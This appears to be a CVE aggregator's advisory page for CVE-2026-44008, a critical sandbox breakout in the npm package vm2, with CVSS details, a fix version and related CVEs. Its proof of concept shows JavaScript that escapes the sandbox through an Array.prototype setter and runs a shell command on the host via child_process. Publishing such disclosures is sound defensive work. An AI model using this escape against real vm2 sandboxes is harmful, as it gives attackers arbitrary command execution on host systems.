Loading...
Skip to main content

CVE-2026-44008 — Vulnerability in vm2 — CVE Details

CRITICAL

vm2 has sandbox breakout via `neutralizeArraySpeciesBatch`

Published May 8, 2026Updated May 14, 2026Source: osv

Summary

### Summary VM2 suffers from a sandbox breakout vulnerability. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system. ### Details The new method `neutralizeArraySpeciesBatch` works with objects from the other side but can call into this side via getter on the array prototype exposing objects of the wrong side into the sandbox. This can be used to get host objects and get the host `Function` object. ### PoC ```js const {VM} = require("vm2"); const vm = new VM(); console.log(vm.run(` const a = []; Object.defineProperty(Array.prototype, 0, { set(value) { a.f = Buffer.prototype.inspect; value.arr.f.constructor.constructor("return process")().mainModule.require('child_process').execSync('touch pwned'); } }); new Buffer(a); `)); ``` ### Impact Attackers can perform Remote Code Execution under the assumption that arbitrary code can be executed inside the context of a vm2 sandbox.

Advisory Timeline

  • First published May 8, 2026 (157 days ago).
  • Last revised May 14, 2026 — 6 days after initial publication.

Remediation

Upgrade to the fixed version using your package manager.

npm
Update vm2 to 3.11.2 or later
npm install vm2@3.11.2

After upgrading, run your dependency scanner again to confirm the vulnerability is resolved.

Affected Packages (1)

Affects 1 ecosystem: npm (1).

PackageEcosystemAffectedFixed In
vm2
npm
All versions3.11.2

Vulnerability Classification

Common Weakness Enumeration (CWE) identifiers for this vulnerability type.

CVSS Score Breakdown

What the CVSS (Common Vulnerability Scoring System) 9.8 score means for each attack dimension.

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Frequently Asked Questions

What is CVE-2026-44008?
vm2 has sandbox breakout via `neutralizeArraySpeciesBatch` This vulnerability has been assigned a severity rating of CRITICAL (CVSS score: 9.8/10).
How do I check if my project is affected by CVE-2026-44008?
CVE-2026-44008 affects vm2. Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2026-44008 and 200,000+ other known vulnerabilities.

Severity & Exploitability

CVSS Score
9.8

Exploitation is straightforward and causes maximum impact. Patch immediately.

Also Known As

GHSA-9qj6-qjgg-37qq

Related CVEs

  • CVE-2026-45411
    CRITICAL

    vm2 Has a Sandbox Breakout Using Async Generator

  • CVE-2026-92944
    CRITICAL

    vm2 sandbox escape on Node.js 26 through a stale PromiseThenLookupChain protector

  • CVE-2026-92953
    CRITICAL

    vm2: Default VM can mutate host TypedArray and ArrayBuffer intrinsics after the host-prototype pollution fix

  • CVE-2026-47686
    CRITICAL

    VM2 has Missing Error.cause Sanitization that Enables Sandbox Escape to RCE

  • CVE-2026-47137
    CRITICAL

    vm2 has a CVE-2023-37903 patch bypass: nesting:true without explicit require still allows full RCE

  • CVE-2026-92960
    CRITICAL

    vm2: NodeVM `builtin: ['*']` exposes `os` and `dns` — process-wide observability reads AND writes that hijack the host (sibling class of GHSA-9g8x-92q2-p28f)

  • CVE-2026-92950
    HIGH

    vm2 CLI provides no sandbox isolation - host-realm require() is reachable from sandboxed scripts

  • CVE-2026-47135
    HIGH

    vm2 has a sandbox escape via unblocked cross-realm Symbol.for keys + missing bridge write-trap symbol checks

Check if you're affected

Scan your dependencies to see if this vulnerability affects your projects.

Scan Your Dependencies